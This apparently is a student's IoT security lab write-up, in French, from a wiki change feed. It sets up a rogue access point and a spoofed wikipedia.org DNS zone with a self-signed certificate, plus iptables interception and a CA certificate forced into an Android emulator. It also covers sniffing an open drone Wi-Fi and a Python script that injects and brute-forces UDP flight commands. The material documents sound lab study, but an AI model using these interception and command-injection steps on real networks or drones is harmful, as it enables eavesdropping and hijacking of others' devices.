À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header &amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;, Footer &amp;lt;code&amp;gt;99&amp;lt;/code&amp;gt;) et les octets correspondant aux axes du joystick&lt;br /&gt;
&lt;br /&gt;
Pour le script de contrôle j'ai tenté de reproduire une commande de décollage : &lt;br /&gt;
&lt;br /&gt;
J'ai supposé un calcul par soustraction  par rapport à la valeur neutre.&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
# SOCK_DGRAM = Protocole UDP&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
&lt;br /&gt;
# STOP&lt;br /&gt;
# Tout est à 80 Checksum à 00&lt;br /&gt;
# Code : 03 66 80 80 80 80 00 00 99&lt;br /&gt;
cmd_stop = bytes.fromhex(&amp;quot;036680808080000099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# decoller&lt;br /&gt;
# 03 66 : Header&lt;br /&gt;
# 80    : Joystick Gauche&lt;br /&gt;
# C0    : Joystick Gauche&lt;br /&gt;
# 80    : Joystick Droit (Avancer)&lt;br /&gt;
# 80    : Joystick Droit&lt;br /&gt;
# 00    : Boutons&lt;br /&gt;
# 40    : Checksum (C0 - 80 = 40)&lt;br /&gt;
# 99    : Fin&lt;br /&gt;
cmd_decollage = bytes.fromhex(&amp;quot;036680c08080004099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# atterissage&lt;br /&gt;
cmd_baisse = bytes.fromhex(&amp;quot;036680008080008099&amp;quot;) # Coupe tout brutalement&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\ndemarage&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;decollage&amp;quot;)&lt;br /&gt;
    t_end = time.time() + 3&lt;br /&gt;
    while time.time() &amp;lt; t_end:&lt;br /&gt;
        client.sendto(cmd_decollage, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05) # 20fois/s&lt;br /&gt;
&lt;br /&gt;
    # arret&lt;br /&gt;
    print(&amp;quot;stop&amp;quot;)&lt;br /&gt;
    for i in range(20):&lt;br /&gt;
        client.sendto(cmd_stop, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Cette tentative n'a pas permis de faire décoller le drone. Cela nous a indiqué deux choses : &lt;br /&gt;
&lt;br /&gt;
* le drône réagit bien aux envois de données&lt;br /&gt;
&lt;br /&gt;
* le calcul du Checksum était incorrect (le drone rejetait les paquets) &lt;br /&gt;
* le décollage nécessite peut-être un bouton pour pouvoir decoller&lt;br /&gt;
&lt;br /&gt;
==== Deuxième tentative ====&lt;br /&gt;
J'ai refait les captures de paquets sur wireshark  en utilisant mon télephone :&lt;br /&gt;
[[Fichier:Wireshark3.png|néant|vignette|866x866px]]&lt;br /&gt;
En analysant une trame valide capturée via Wireshark quand le drône est en mouvement j'ai recalculé  : &lt;br /&gt;
&lt;br /&gt;
* Trame analysée : &amp;lt;code&amp;gt;03 66 80 82 7C 80 00 FE 99&amp;lt;/code&amp;gt;&lt;br /&gt;
* Calcul : &amp;lt;code&amp;gt;80 ^ 82 ^ 7C ^ 80 ^ 00 = FE&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc utilisation de XOR pour valider&lt;br /&gt;
&lt;br /&gt;
===== Recherche du code de démarrage =====&lt;br /&gt;
Comme je n'ai pas d'informaton sur le code héxa qui correspond au bouton de decollage. il faut un script Python d'attaque en force brute pour tester tous les boutons :&amp;lt;syntaxhighlight lang=&amp;quot;py&amp;quot;&amp;gt;&lt;br /&gt;
def envoyer_paquet(bouton_valeur):&lt;br /&gt;
    # Trame : Header + 4 axes neutres + bouton + checksum + footer&lt;br /&gt;
    # Axes neutres = 0x80 (128)&lt;br /&gt;
    header = [0x03, 0x66]&lt;br /&gt;
    data = [0x80, 0x80, 0x80, 0x80, bouton_valeur]&lt;br /&gt;
&lt;br /&gt;
    # Calcul Checksum XOR&lt;br /&gt;
    checksum = 0&lt;br /&gt;
    for b in data:&lt;br /&gt;
        checksum = checksum ^ b&lt;br /&gt;
&lt;br /&gt;
    packet = bytes(header + data + [checksum] + [0x99])&lt;br /&gt;
    client.sendto(packet, (IP_DRONE, PORT))&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\n Initialisation (Neutre)...&amp;quot;)&lt;br /&gt;
    for _ in range(20):&lt;br /&gt;
        envoyer_paquet(0x00)&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;\nTest des boutons de démarrage...&amp;quot;)&lt;br /&gt;
    #boutons les plus probables : 1, 2, 4, 8...&lt;br /&gt;
    bouton = [0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80]&lt;br /&gt;
&lt;br /&gt;
    for code in bouton:&lt;br /&gt;
        print(f&amp;quot;Test bouton code: {hex(code)} ...&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        t_fin = time.time() + 2 #2s&lt;br /&gt;
        while time.time() &amp;lt; t_fin:&lt;br /&gt;
            envoyer_paquet(code)&lt;br /&gt;
            time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
        # pause&lt;br /&gt;
        for _ in range(10):&lt;br /&gt;
            envoyer_paquet(0x00)&lt;br /&gt;
            time.sleep(0.05)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;\nTest terminé.&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Lors de l'exécution du script le drone réagi immédiatement lorsque le script a testé la valeur '''0x01'''  Donc, c'est surement le bouton de decollage&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Wireshark3.png&amp;diff=11178</id>
		<title>Fichier:Wireshark3.png</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Fichier:Wireshark3.png&amp;diff=11178"/>
		<updated>2026-01-13T17:05:37Z</updated>

		<summary type="html">&lt;p&gt;Handrian : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;wireshark&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11177</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11177"/>
		<updated>2026-01-13T17:04:18Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Connexion Zabeth-Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc  privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur  avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&amp;lt;/code&amp;gt; Il y a le flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du '''4 ème octet''' (&amp;lt;code&amp;gt;0xC0&amp;lt;/code&amp;gt;) qui correspond l'instruction '''&amp;lt;nowiki/&amp;gt;'décoller''''&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tentatives de control du drône ===&lt;br /&gt;
&lt;br /&gt;
==== Première tentative ====&lt;br /&gt;
À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header &amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;, Footer &amp;lt;code&amp;gt;99&amp;lt;/code&amp;gt;) et les octets correspondant aux axes du joystick&lt;br /&gt;
&lt;br /&gt;
Pour le script de contrôle j'ai tenté de reproduire une commande de décollage : &lt;br /&gt;
&lt;br /&gt;
J'ai supposé un calcul par soustraction  par rapport à la valeur neutre.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# SOCK_DGRAM = Protocole UDP&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
&lt;br /&gt;
# STOP&lt;br /&gt;
# Tout est à 80 Checksum à 00&lt;br /&gt;
# Code : 03 66 80 80 80 80 00 00 99&lt;br /&gt;
cmd_stop = bytes.fromhex(&amp;quot;036680808080000099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# decoller&lt;br /&gt;
# 03 66 : Header&lt;br /&gt;
# 80    : Joystick Gauche&lt;br /&gt;
# C0    : Joystick Gauche&lt;br /&gt;
# 80    : Joystick Droit (Avancer)&lt;br /&gt;
# 80    : Joystick Droit&lt;br /&gt;
# 00    : Boutons&lt;br /&gt;
# 40    : Checksum (C0 - 80 = 40)&lt;br /&gt;
# 99    : Fin&lt;br /&gt;
cmd_decollage = bytes.fromhex(&amp;quot;036680c08080004099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# atterissage&lt;br /&gt;
cmd_baisse = bytes.fromhex(&amp;quot;036680008080008099&amp;quot;) # Coupe tout brutalement&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\ndemarage&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;decollage&amp;quot;)&lt;br /&gt;
    t_end = time.time() + 3&lt;br /&gt;
    while time.time() &amp;lt; t_end:&lt;br /&gt;
